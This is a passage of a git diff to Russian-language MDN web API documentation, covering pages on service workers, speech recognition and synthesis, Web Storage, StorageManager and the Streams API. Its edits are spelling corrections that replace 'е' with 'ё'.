был получен браузером и сохранён в кеше, нам нужно клонировать его. Так оригинальный объект отправится браузеру, а клон будет закеширован. Оба они будут прочитаны единожды.</p> -<p>У нас все ещё остается единственная проблема - если на какой-либо запрос в кеше не будет найдено соответствие, и в этот момент сеть не доступна, то наш запрос завершится неудачно. Давайте реализуем запасной вариант по умолчанию, при котором пользователь, в описанном случае, будет получать хоть что-нибудь:</p> +<p>У нас все ещё остаётся единственная проблема - если на какой-либо запрос в кеше не будет найдено соответствие, и в этот момент сеть не доступна, то наш запрос завершится неудачно. Давайте реализуем запасной вариант по умолчанию, при котором пользователь, в описанном случае, будет получать хоть что-нибудь:</p> <pre class="brush: js notranslate">self.addEventListener('fetch', (event) => { event.respondWith( @@ -406,7 +406,7 @@ event.request.body</pre> <h3 id="Удаление_старого_кеша">Удаление старого кеша</h3> -<p>Вы можете обрабатывать событие activate. Оно обычно используется в случае, если нужно выполнить такие действия, которые бы нарушили работу воркеров предыдущей версии, если они все еще работают со старым кешем. Также это событие полезно использовать для того, чтобы удалить ненужные данные, чтобы освободить место, занимаемое на диске, потому что каждый браузер имеет жесткие ограничения на размер хранилища кеша, которое доступно для использования сервис-воркерами.</p> +<p>Вы можете обрабатывать событие activate. Оно обычно используется в случае, если нужно выполнить такие действия, которые бы нарушили работу воркеров предыдущей версии, если они все ещё работают со старым кешем. Также это событие полезно использовать для того, чтобы удалить ненужные данные, чтобы освободить место, занимаемое на диске, потому что каждый браузер имеет жёсткие ограничения на размер хранилища кеша, которое доступно для использования сервис-воркерами.</p> <p>Promise, переданный в <code>waitUntil()</code>, заблокирует другие события до своего завершения, поэтому можно быть уверенным, что процесс очистки закончится раньше, чем выполнится первое событие <code>fetch</code> на основе нового кеша.</p> diff --git a/files/ru/web/api/serviceworker/scripturl/index.html b/files/ru/web/api/serviceworker/scripturl/index.html index c01cb6c968..a0453d4354 100644 --- a/files/ru/web/api/serviceworker/scripturl/index.html +++ b/files/ru/web/api/serviceworker/scripturl/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/ServiceWorker/scriptURL --- <div>{{APIRef("Service Workers API")}}</div> -<p>Возвращает URL, указывающий на скрипт данного Service Worker, определенный с помощью <a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerRegistration" title="ServiceWorkerRegistion is an interface object representing the service worker registration. You register a service worker to control one or more pages that share the same origin."><code>ServiceWorkerRegistration</code></a>. URL должен находиться в том же домене, что и документ, регистрирующий <code>ServiceWorker</code>.</p> +<p>Возвращает URL, указывающий на скрипт данного Service Worker, определённый с помощью <a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerRegistration" title="ServiceWorkerRegistion is an interface object representing the service worker registration. You register a service worker to control one or more pages that share the same origin."><code>ServiceWorkerRegistration</code></a>. URL должен находиться в том же домене, что и документ, регистрирующий <code>ServiceWorker</code>.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> diff --git a/files/ru/web/api/serviceworkercontainer/register/index.html b/files/ru/web/api/serviceworkercontainer/register/index.html index 7fd83f836c..3c86ae2687 100644 --- a/files/ru/web/api/serviceworkercontainer/register/index.html +++ b/files/ru/web/api/serviceworkercontainer/register/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/ServiceWorkerContainer/register --- <p>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</p> -<p><strong><code>register()</code></strong> метод {{domxref("ServiceWorkerContainer")}} интерфейса который создает и обновляет <a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerRegistration" title="The ServiceWorkerRegistion interface of the ServiceWorker API represents the service worker registration. You register a service worker to control one or more pages that share the same origin."><code>ServiceWorkerRegistration</code></a> для указанного <code>URL js скрипта</code>.</p> +<p><strong><code>register()</code></strong> метод {{domxref("ServiceWorkerContainer")}} интерфейса который создаёт и обновляет <a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerRegistration" title="The ServiceWorkerRegistion interface of the ServiceWorker API represents the service worker registration. You register a service worker to control one or more pages that share the same origin."><code>ServiceWorkerRegistration</code></a> для указанного <code>URL js скрипта</code>.</p> <p>Если удачно, service worker registration связывается по указанному URL js скрипта , который соответственно используется для проверки совпадения при навигации по URL. Если метод не возвращает <code>ServiceWorkerRegistration</code>, он возвращает <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" title="The Promise object is used for deferred and asynchronous computations. A Promise is in one of the three states:"><code>Promise</code></a>. Есть возможность вызвать этот метод без проверки на условие, т.е. нет необходимости сначала проверять существует ли активная регистрация в данный момент или нет.</p> @@ -33,13 +33,13 @@ translation_of: Web/API/ServiceWorkerContainer/register <h2 id="Пример_использования">Пример использования</h2> -<p>Примеры кода, приведенные ниже, должны рассматриваться вместе для лучшего понимания того, как применяется scope service worker-ов к конкретной странице.</p> +<p>Примеры кода, приведённые ниже, должны рассматриваться вместе для лучшего понимания того, как применяется scope service worker-ов к конкретной странице.</p> <p>Следующий пример использует дефолтный scope (не указывая его прямо). Service worker в этом случае будет контролировать <code>example.com/index.html</code> и страницы, расположенные "глубже", например <code>example.com/product/description.html</code>.</p> <pre class="brush: js notranslate">if ('serviceWorker' in navigator) { // Регистрация service worker-а, расположенного в корне сайта - // за счет использования дефолтного scope (не указывая его) + // за счёт использования дефолтного scope (не указывая его) navigator.serviceWorker.register('/sw.js').then(function(registration) { console.log('Service worker зарегистрирован:', registration); }).catch(function(error) { @@ -50,7 +50,7 @@ translation_of: Web/API/ServiceWorkerContainer/register console.log('Текущий браузер не поддерживает service worker-ы'); }</pre> -<p>Следующий пример, если он размещен на странице корня сайта, будет применен ровно к тем же страницам, что и пример выше. Помните, scope, если он указан, использует path страницы в качестве своей базы. Это значит, что, если следующий пример будет использоваться на странице <code>example.com/product/description.html</code>, то scope <code>./</code> будет означать, что service worker работает только со страницами внутри <code>example.com/product</code>. Если необходимо зарегистрировать service worker на <code>example.com/product/description.html</code>, и вы хотите, чтобы он обслуживал и корень, <code>example.com</code>, то scope лучше не указывать совсем, как в примере выше.</p> +<p>Следующий пример, если он размещён на странице корня сайта, будет применён ровно к тем же страницам, что и пример выше. Помните, scope, если он указан, использует path страницы в качестве своей базы. Это значит, что, если следующий пример будет использоваться на странице <code>example.com/product/description.html</code>, то scope <code>./</code> будет означать, что service worker работает только со страницами внутри <code>example.com/product</code>. Если необходимо зарегистрировать service worker на <code>example.com/product/description.html</code>, и вы хотите, чтобы он обслуживал и корень, <code>example.com</code>, то scope лучше не указывать совсем, как в примере выше.</p> <pre class="brush: js notranslate">if ('serviceWorker' in navigator) { // Регистрация service worker-а, расположенного в корне сайта diff --git a/files/ru/web/api/serviceworkerregistration/pushmanager/index.html b/files/ru/web/api/serviceworkerregistration/pushmanager/index.html index 9ef0d95a7d..cc9b0097ba 100644 --- a/files/ru/web/api/serviceworkerregistration/pushmanager/index.html +++ b/files/ru/web/api/serviceworkerregistration/pushmanager/index.html @@ -35,7 +35,7 @@ navigator.serviceWorker.register('serviceworker.js').then( // при помощи XMLHttpRequest. }, function(error) { // При разработке это часто помогает отлавливать ошибки в консоли. - // В продакшен-среде это также может быть полезно для отправки отчета + // В продакшен-среде это также может быть полезно для отправки отчёта // об ошибках на сервер приложения. console.log(error); } diff --git a/files/ru/web/api/serviceworkerregistration/shownotification/index.html b/files/ru/web/api/serviceworkerregistration/shownotification/index.html index fdcd0943fc..1be41dab02 100644 --- a/files/ru/web/api/serviceworkerregistration/shownotification/index.html +++ b/files/ru/web/api/serviceworkerregistration/shownotification/index.html @@ -43,7 +43,7 @@ translation_of: Web/API/ServiceWorkerRegistration/showNotification <li><code>renotify</code>: A boolean that indicates whether to supress vibrations and audible alerts when resusing a <code>tag</code> value. The default is false.</li> <li><code>requireInteraction</code>: Indicates that on devices with sufficiently large screens, a notification should remain active until the user clicks or dismisses it. If this value is absent or false, the desktop version of Chrome will auto-minimize notifications after approximately twenty seconds. The default value is <code>false</code>.</li> <li><code>tag</code>: An ID for a given notification that allows you to find, replace, or remove the notification using script if necessary.</li> - <li><code>vibrate</code>: Шаблон вибрации, которая будет воспроизведена вместе с уведомлением. Шаблон может быть массивом из как минимум одного элемента. Значения элементов это время в миллисекундах, при этом четные элементы (0, 2, 4, и т.д.) отражают периоды вибрации, а нечетные периоды пауз. Например, <code>[300, 100, 400]</code> будет означать вибрацию 300ms, паузу 100ms, затем вибрацию 400ms.</li> + <li><code>vibrate</code>: Шаблон вибрации, которая будет воспроизведена вместе с уведомлением. Шаблон может быть массивом из как минимум одного элемента. Значения элементов это время в миллисекундах, при этом чётные элементы (0, 2, 4, и т.д.) отражают периоды вибрации, а нечётные периоды пауз. Например, <code>[300, 100, 400]</code> будет означать вибрацию 300ms, паузу 100ms, затем вибрацию 400ms.</li> <li><code>data</code>: Arbitrary data that you want associated with the notification. This can be of any data type.</li> </ul> </dd> diff --git a/files/ru/web/api/serviceworkerstate/index.html b/files/ru/web/api/serviceworkerstate/index.html index a1702d28b1..9185341f54 100644 --- a/files/ru/web/api/serviceworkerstate/index.html +++ b/files/ru/web/api/serviceworkerstate/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/ServiceWorkerState <dt><code>installed</code></dt> <dd>Service worker находится в состоянии ожидания и будет активирован после закрытия всех страниц его источника, использующих предыдущую версию service worker'а.</dd> <dt><code>activating</code></dt> - <dd>Service worker в данном состоянии считается активным. В этом состоянии, метод {{DOMxRef("ExtendableEvent.waitUntil()")}} может быть вызван в обработчике события <code>onactivate</code> для продления этапа активации до успешного завершения переданного промиса. Service worker не начнет обрабатывать события до перехода в состояние <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">activated</span></font>.</dd> + <dd>Service worker в данном состоянии считается активным. В этом состоянии, метод {{DOMxRef("ExtendableEvent.waitUntil()")}} может быть вызван в обработчике события <code>onactivate</code> для продления этапа активации до успешного завершения переданного промиса. Service worker не начнёт обрабатывать события до перехода в состояние <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">activated</span></font>.</dd> <dt><code>activated</code></dt> <dd>Service worker в данном состоянии активен и готов обрабатывать события.</dd> <dt><code>redundant</code></dt> diff --git a/files/ru/web/api/sharedworker/index.html b/files/ru/web/api/sharedworker/index.html index 7e2b91c3c7..a50a9664a3 100644 --- a/files/ru/web/api/sharedworker/index.html +++ b/files/ru/web/api/sharedworker/index.html @@ -30,7 +30,7 @@ translation_of: Web/API/SharedWorker <dl> <dt>{{domxref("SharedWorker.SharedWorker", "SharedWorker()")}}</dt> - <dd>Создает разделяемый веб воркер, который выполняет скрипт по указанному URL.</dd> + <dd>Создаёт разделяемый веб воркер, который выполняет скрипт по указанному URL.</dd> </dl> <h2 id="Методы">Методы</h2> diff --git a/files/ru/web/api/speechgrammar/index.html b/files/ru/web/api/speechgrammar/index.html index d4f5246027..1731b109f3 100644 --- a/files/ru/web/api/speechgrammar/index.html +++ b/files/ru/web/api/speechgrammar/index.html @@ -21,7 +21,7 @@ translation_of: Web/API/SpeechGrammar <dl> <dt>{{domxref("SpeechGrammar.SpeechGrammar()")}}</dt> - <dd>Создает новый объект <code>SpeechGrammar</code> .</dd> + <dd>Создаёт новый объект <code>SpeechGrammar</code> .</dd> </dl> <h2 id="Свойства">Свойства</h2> diff --git a/files/ru/web/api/speechrecognition/index.html b/files/ru/web/api/speechrecognition/index.html index 8331ae2e91..f7939e84d2 100644 --- a/files/ru/web/api/speechrecognition/index.html +++ b/files/ru/web/api/speechrecognition/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/SpeechRecognition <dl> <dt>{{domxref("SpeechRecognition.SpeechRecognition()")}}</dt> - <dd>Создает новый <font face="consolas, Liberation Mono, courier, monospace">объект </font><code>SpeechRecognition</code> .</dd> + <dd>Создаёт новый <font face="consolas, Liberation Mono, courier, monospace">объект </font><code>SpeechRecognition</code> .</dd> </dl> <h2 id="Свойства">Свойства</h2> @@ -22,11 +22,11 @@ translation_of: Web/API/SpeechRecognition <dt>{{domxref("SpeechRecognition.grammars")}}</dt> <dd>Возвращает и устанавливает коллекцию объектов {{domxref("SpeechGrammar")}} грамматики которые будут понятны текущему <code>SpeechRecognition</code>.</dd> <dt>{{domxref("SpeechRecognition.lang")}}</dt> - <dd>Задает и возвращает язык текущего <code>SpeechRecognition</code>. Если данное свойство не указано по умолчанию, то используется из HTML кода значение атрибута {{htmlattrxref("lang","html")}} , или настройки языка агента текущего пользователя.</dd> + <dd>Задаёт и возвращает язык текущего <code>SpeechRecognition</code>. Если данное свойство не указано по умолчанию, то используется из HTML кода значение атрибута {{htmlattrxref("lang","html")}} , или настройки языка агента текущего пользователя.</dd> <dt>{{domxref("SpeechRecognition.continuous")}}</dt> <dd>Проверяет возвращается ли непрерывные результаты или вернулся только один. По умолчанию для одиночного значение (<code>false</code>.)</dd> <dt>{{domxref("SpeechRecognition.interimResults")}}</dt> - <dd>Контроллирует, следует ли возвращать промежуточные результаты (<code>true</code>) или нет (<code>false</code>.) Промежуточные результаты это результаты которые еще не завершены ( например {{domxref("SpeechRecognitionResult.isFinal")}} свойство <font face="consolas, Liberation Mono, courier, monospace">ложно</font>.)</dd> + <dd>Контроллирует, следует ли возвращать промежуточные результаты (<code>true</code>) или нет (<code>false</code>.) Промежуточные результаты это результаты которые ещё не завершены ( например {{domxref("SpeechRecognitionResult.isFinal")}} свойство <font face="consolas, Liberation Mono, courier, monospace">ложно</font>.)</dd> <dt>{{domxref("SpeechRecognition.maxAlternatives")}}</dt> <dd>Устанавливает максимальное количество предоставленных результатов {{domxref("SpeechRecognitionAlternative")}}. По умолчанию значение 1.</dd> <dt>{{domxref("SpeechRecognition.serviceURI")}}</dt> @@ -45,7 +45,7 @@ translation_of: Web/API/SpeechRecognition <dt>{{domxref("SpeechRecognition.onerror")}}</dt> <dd>Вызывается когда произошла ошибка распознавания речи.</dd> <dt>{{domxref("SpeechRecognition.onnomatch")}}</dt> - <dd>Вызывается, когда служба распознавания речи возвращает окончательный результат без существенного распознавания. Это может включать определенную степень признания {{domxref("SpeechRecognitionAlternative.confidence","confidence")}} которая не соответствует пороговому значению или превышает его.</dd> + <dd>Вызывается, когда служба распознавания речи возвращает окончательный результат без существенного распознавания. Это может включать определённую степень признания {{domxref("SpeechRecognitionAlternative.confidence","confidence")}} которая не соответствует пороговому значению или превышает его.</dd> <dt>{{domxref("SpeechRecognition.onresult")}}</dt> <dd>Вызывается когда возвращает результат — слово или фраза были распознаны положительно, и это было передано обратно в приложение.</dd> <dt>{{domxref("SpeechRecognition.onsoundstart")}}</dt> @@ -75,9 +75,9 @@ translation_of: Web/API/SpeechRecognition <h2 id="Примеры">Примеры</h2> -<p>В нашем простом примере <a href="https://github.com/mdn/web-speech-api/tree/master/speech-color-changer">Speech color changer</a> , мы создаем новый объект экземпляра <code>SpeechRecognition</code> используя этот конструктор {{domxref("SpeechRecognition.SpeechRecognition", "SpeechRecognition()")}} , создание нового {{domxref("SpeechGrammarList")}}, И установить его в качестве грамматики, которая будет распознаваться экземпляром распознавание речи с использованием свойства {{domxref("SpeechRecognition.grammars")}}.</p> +<p>В нашем простом примере <a href="https://github.com/mdn/web-speech-api/tree/master/speech-color-changer">Speech color changer</a> , мы создаём новый объект экземпляра <code>SpeechRecognition</code> используя этот конструктор {{domxref("SpeechRecognition.SpeechRecognition", "SpeechRecognition()")}} , создание нового {{domxref("SpeechGrammarList")}}, И установить его в качестве грамматики, которая будет распознаваться экземпляром распознавание речи с использованием свойства {{domxref("SpeechRecognition.grammars")}}.</p> -<p>После определения некоторых других значений мы затем устанавливаем их так, чтобы служба распознавания началась когда произошло событие по клику ( {{domxref("SpeechRecognition.start()")}}.) Когда результат был успешно распознан, the {{domxref("SpeechRecognition.onresult")}} обработчик извлекаем цвет, который был произнесен из события, а затем меняем цвет фона на данный цвет {{htmlelement("html")}}.</p> +<p>После определения некоторых других значений мы затем устанавливаем их так, чтобы служба распознавания началась когда произошло событие по клику ( {{domxref("SpeechRecognition.start()")}}.) Когда результат был успешно распознан, the {{domxref("SpeechRecognition.onresult")}} обработчик извлекаем цвет, который был произнесён из события, а затем меняем цвет фона на данный цвет {{htmlelement("html")}}.</p> <pre class="brush: js">var grammar = '#JSGF V1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new SpeechRecognition(); @@ -199,7 +199,7 @@ recognition.onresult = function(event) { <h3 id="Firefox_OS_разрешения">Firefox OS разрешения</h3> -<p>Чтобы использовать распознавание речи в приложении, вам необходимо указать следующие разрешения в своем <a href="/en-US/docs/Web/Apps/Build/Manifest">manifest</a>:</p> +<p>Чтобы использовать распознавание речи в приложении, вам необходимо указать следующие разрешения в своём <a href="/en-US/docs/Web/Apps/Build/Manifest">manifest</a>:</p> <pre class="brush: json">"permissions": { "audio-capture" : { diff --git a/files/ru/web/api/speechsynthesisutterance/index.html b/files/ru/web/api/speechsynthesisutterance/index.html index 94c0d175d6..750e34d8f5 100644 --- a/files/ru/web/api/speechsynthesisutterance/index.html +++ b/files/ru/web/api/speechsynthesisutterance/index.html @@ -16,7 +16,7 @@ translation_of: Web/API/SpeechSynthesisUtterance <h2 id="Свойства">Свойства</h2> -<p><em><code>SpeechSynthesisUtterance</code> еще наследует свойства из его своего родительского интерфейса {{domxref("EventTarget")}}.</em></p> +<p><em><code>SpeechSynthesisUtterance</code> ещё наследует свойства из его своего родительского интерфейса {{domxref("EventTarget")}}.</em></p> <dl> <dt>{{domxref("SpeechSynthesisUtterance.lang")}}</dt> @@ -37,13 +37,13 @@ translation_of: Web/API/SpeechSynthesisUtterance <dl> <dt>{{domxref("SpeechSynthesisUtterance.onboundary")}}</dt> - <dd>Срабатывает, когда произнесенное высказывание достигает границы слова или предложения.</dd> + <dd>Срабатывает, когда произнесённое высказывание достигает границы слова или предложения.</dd> <dt>{{domxref("SpeechSynthesisUtterance.onend")}}</dt> <dd>Срабатывает, когда произнесение произнесено.</dd> <dt>{{domxref("SpeechSynthesisUtterance.onerror")}}</dt> <dd>Срабатывает, когда возникает ошибка, которая препятствует успешному произнесению высказывания.</dd> <dt>{{domxref("SpeechSynthesisUtterance.onmark")}}</dt> - <dd>Срабатывает, когда произнесенное высказывание достигает названного тега метки «SSML».</dd> + <dd>Срабатывает, когда произнесённое высказывание достигает названного тега метки «SSML».</dd> <dt>{{domxref("SpeechSynthesisUtterance.onpause")}}</dt> <dd>Срабатывает, когда высказывание приостановлено.</dd> <dt>{{domxref("SpeechSynthesisUtterance.onresume")}}</dt> diff --git a/files/ru/web/api/storage/clear/index.html b/files/ru/web/api/storage/clear/index.html index ca829dae1b..869995f394 100644 --- a/files/ru/web/api/storage/clear/index.html +++ b/files/ru/web/api/storage/clear/index.html @@ -21,7 +21,7 @@ translation_of: Web/API/Storage/clear <h2 id="Пример">Пример</h2> -<p>Следующая функция создает 3 записи в локальном хранилище, после этого все значения удаляются с помощью метода <code>clear()</code>.</p> +<p>Следующая функция создаёт 3 записи в локальном хранилище, после этого все значения удаляются с помощью метода <code>clear()</code>.</p> <pre class="brush: js">function populateStorage() { localStorage.setItem('bgcolor', 'red'); @@ -110,7 +110,7 @@ translation_of: Web/API/Storage/clear </table> </div> -<p>Все браузеры имеют различный уровень объема для localStorage и sessionStorage. Здесь <a href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объема хранилищ для разных браузеров</a>.</p> +<p>Все браузеры имеют различный уровень объёма для localStorage и sessionStorage. Здесь <a href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объёма хранилищ для разных браузеров</a>.</p> <div class="note"> <p><strong>Примечание:</strong> Начиная с версии iOS 5.1, Safari Mobile хранит данные <code>localStorage</code> в папке cache, которая периодически подлежит очистке по требованию ОС, как правило при недостаточном количестве свободного места.</p> diff --git a/files/ru/web/api/storage/getitem/index.html b/files/ru/web/api/storage/getitem/index.html index cc066d8334..12a4985508 100644 --- a/files/ru/web/api/storage/getitem/index.html +++ b/files/ru/web/api/storage/getitem/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Storage/getItem --- <p>{{APIRef("Web Storage API")}}</p> -<p>Если в метод <code>getItem()</code> интерфейса {{domxref("Storage")}} передать ключ в качестве параметра, то метод вернет значение, лежащее в хранилище по указанному ключу.</p> +<p>Если в метод <code>getItem()</code> интерфейса {{domxref("Storage")}} передать ключ в качестве параметра, то метод вернёт значение, лежащее в хранилище по указанному ключу.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -120,7 +120,7 @@ translation_of: Web/API/Storage/getItem </table> </div> -<p>Все браузеры имеют различный уровень объема для localStorage и sessionStorage. Здесь <a href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объема хранилищ для разных браузеров</a>.</p> +<p>Все браузеры имеют различный уровень объёма для localStorage и sessionStorage. Здесь <a href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объёма хранилищ для разных браузеров</a>.</p> <div class="note"> <p><strong>Примечание:</strong> Начиная с версии iOS 5.1, Safari Mobile хранит данные <code>localStorage</code> в папке cache, которая периодически подлежит очистке по требованию ОС, как правило при недостаточном количестве свободного места</p> diff --git a/files/ru/web/api/storage/key/index.html b/files/ru/web/api/storage/key/index.html index f8ff0d97b5..7accb735a9 100644 --- a/files/ru/web/api/storage/key/index.html +++ b/files/ru/web/api/storage/key/index.html @@ -117,7 +117,7 @@ translation_of: Web/API/Storage/key </table> </div> -<p>Все браузеры имеют различный уровень объема для localStorage и sessionStorage. Здесь вы найдете <a href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объема хранилищ для разных браузеров</a>.</p> +<p>Все браузеры имеют различный уровень объёма для localStorage и sessionStorage. Здесь вы найдёте <a href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объёма хранилищ для разных браузеров</a>.</p> <div class="note"> <p><strong>Примечание: </strong>начиная с версии iOS 5.1, Safari Mobile хранит данные localStorage в папке с кэшем, которая может быть случайно очищена по требованию OS, обычно это происходит, когда мало доступного места.</p> diff --git a/files/ru/web/api/storage/length/index.html b/files/ru/web/api/storage/length/index.html index 559673f403..98f6ea61aa 100644 --- a/files/ru/web/api/storage/length/index.html +++ b/files/ru/web/api/storage/length/index.html @@ -111,7 +111,7 @@ translation_of: Web/API/Storage/length </table> </div> -<p>Все браузеры имеют различный уровень объема для localStorage и sessionStorage. Здесь <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объема хранилищ для разных браузеров</a>.</p> +<p>Все браузеры имеют различный уровень объёма для localStorage и sessionStorage. Здесь <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объёма хранилищ для разных браузеров</a>.</p> <div class="note"> <p><strong>Примечание: </strong>начиная с версии iOS 5.1, Safari Mobile хранит данные localStorage в папке с кэшем, которая может быть очищена случайно по требованию OS, обычно это происходит, когда мало доступного места.</p> diff --git a/files/ru/web/api/storage/removeitem/index.html b/files/ru/web/api/storage/removeitem/index.html index 12fbd2c7a4..e0767fa6a8 100644 --- a/files/ru/web/api/storage/removeitem/index.html +++ b/files/ru/web/api/storage/removeitem/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/Storage/removeItem --- <p>{{APIRef("Web Storage API")}}</p> -<p>Если методу <code>removeItem()</code> интерфейса {{domxref("Storage")}} передать ключ, то из хранилища будет удален элемент с указанным ключом. </p> +<p>Если методу <code>removeItem()</code> интерфейса {{domxref("Storage")}} передать ключ, то из хранилища будет удалён элемент с указанным ключом. </p> <h2 id="Синтаксис">Синтаксис</h2> @@ -28,7 +28,7 @@ translation_of: Web/API/Storage/removeItem <h2 id="Пример">Пример</h2> -<p>Следующая функция создает три элемента внутри локального хранилища и потом удаляет элемент с ключом <em>image</em>.</p> +<p>Следующая функция создаёт три элемента внутри локального хранилища и потом удаляет элемент с ключом <em>image</em>.</p> <pre class="brush: js notranslate">function populateStorage() { localStorage.setItem('bgcolor', 'red'); diff --git a/files/ru/web/api/storage/setitem/index.html b/files/ru/web/api/storage/setitem/index.html index fe3540e3d6..75eb11453e 100644 --- a/files/ru/web/api/storage/setitem/index.html +++ b/files/ru/web/api/storage/setitem/index.html @@ -32,7 +32,7 @@ translation_of: Web/API/Storage/setItem <h2 id="Пример">Пример</h2> -<p>Следующая функция создает три элемента с данными в хранилище.</p> +<p>Следующая функция создаёт три элемента с данными в хранилище.</p> <pre class="brush: js">function populateStorage() { localStorage.setItem('bgcolor', 'red'); @@ -119,7 +119,7 @@ translation_of: Web/API/Storage/setItem </table> </div> -<p>Все браузеры имеют различный уровень объема для localStorage и sessionStorage. Здесь <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объема хранилищ для разных браузеров</a>.</p> +<p>Все браузеры имеют различный уровень объёма для localStorage и sessionStorage. Здесь <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">подробное описание объёма хранилищ для разных браузеров</a>.</p> <div class="note"> <p><strong>Примечание: </strong>начиная с версии iOS 5.1, Safari Mobile хранит данные localStorage в папке с кэшем, которая может быть очищена случайно по требованию OS, обычно это происходит, когда мало доступного места.</p> diff --git a/files/ru/web/api/storagemanager/index.html b/files/ru/web/api/storagemanager/index.html index c28ba798a3..126c659604 100644 --- a/files/ru/web/api/storagemanager/index.html +++ b/files/ru/web/api/storagemanager/index.html @@ -16,7 +16,7 @@ translation_of: Web/API/StorageManager --- <p>{{securecontext_header}}{{SeeCompatTable}}{{APIRef("Storage")}}</p> -<p><strong><code>StorageManager</code></strong> является частью <a href="/en-US/docs/Web/API/Storage_API">Storage API</a> и предоставляет интерфейс для управления правами на хранение данных и для получения объема данных, доступного для хранения. Доступ к интерфейсу можно получить через {{domxref("navigator.storage")}} или через {{domxref("WorkerNavigator.storage")}}.</p> +<p><strong><code>StorageManager</code></strong> является частью <a href="/en-US/docs/Web/API/Storage_API">Storage API</a> и предоставляет интерфейс для управления правами на хранение данных и для получения объёма данных, доступного для хранения. Доступ к интерфейсу можно получить через {{domxref("navigator.storage")}} или через {{domxref("WorkerNavigator.storage")}}.</p> <h2 id="Методы">Методы</h2> diff --git a/files/ru/web/api/streams_api/index.html b/files/ru/web/api/streams_api/index.html index 777342b3bd..3ed4fc27ae 100644 --- a/files/ru/web/api/streams_api/index.html +++ b/files/ru/web/api/streams_api/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/Streams_API <p>Потоковая передача данных предполагает разбивку ресурса, который вы хотите получить через сеть, на мелкие кусочки и затем их обработку часть за частью. Это то, что браузеры делают в любом случае получения ассетов, чтобы показать их на страницах — видео буфер и другие ресурсы доступные для воспроизведения, и иногда это заметно на изображениях, загружающихся частями.</p> -<p>Но методы работы с этим и данные никогда прежде не были доступны для JavaScript. Раньше, если мы хотели обработать часть ресурса, нам все равно пришлось бы загрузить весь файл (будь то видео, текстовый файл и т.п.), мы были бы обязаны скачать файл целиком, дождаться пока он будет приведен к необходимому формату и только потом работать с файлом после его полной загрузки.</p> +<p>Но методы работы с этим и данные никогда прежде не были доступны для JavaScript. Раньше, если мы хотели обработать часть ресурса, нам все равно пришлось бы загрузить весь файл (будь то видео, текстовый файл и т.п.), мы были бы обязаны скачать файл целиком, дождаться пока он будет приведён к необходимому формату и только потом работать с файлом после его полной загрузки.</p> <p>С помощью потоков доступных в JavaScript меняется все — вы можете начать обрабатывать данные бит за битом как только данные появляются на стороне клиента, без необходимости генерировать буфер, строку или какой либо объект из потока.</p> @@ -19,7 +19,7 @@ translation_of: Web/API/Streams_API <p>Но это не все преимущества — вы можете отловить процессы старта и завершения потока, связывать потоки в цепочки, обрабатывать ошибки или прерывать их если это необходимо, реагировать на скорость с которой поток считывается.</p> -<p>Основное использование потоков крутиться вокруг создания ответов доступными в виде потоков. Например, тело ответа {{domxref("Body")}} возвращенного успешным <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запросом</a> может быть представлено как {{domxref("ReadableStream")}}, и вы можете прочитать его используя ридер полученный методом {{domxref("ReadableStream.getReader()")}}, отменить его с помощью {{domxref("ReadableStream.cancel()")}}, и тп.</p> +<p>Основное использование потоков крутиться вокруг создания ответов доступными в виде потоков. Например, тело ответа {{domxref("Body")}} возвращённого успешным <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запросом</a> может быть представлено как {{domxref("ReadableStream")}}, и вы можете прочитать его используя ридер полученный методом {{domxref("ReadableStream.getReader()")}}, отменить его с помощью {{domxref("ReadableStream.cancel()")}}, и тп.</p> <p>Более сложные примеры задействуют создание ваших собственных потоков с помощью конструктора {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}}, например чтобы обработать данные внутри <a href="/en-US/docs/Web/API/Service_Worker_API">service worker</a>.</p> @@ -46,11 +46,11 @@ translation_of: Web/API/Streams_API <dl> <dt>{{domxref("WritableStream")}}</dt> - <dd>Предоставляет стандартную абстракцию, известную как раковина, для записи потоков по месту назначения. Этот объект идет вместе со встроенными методами контроля обратного потока и созданием очередей.</dd> + 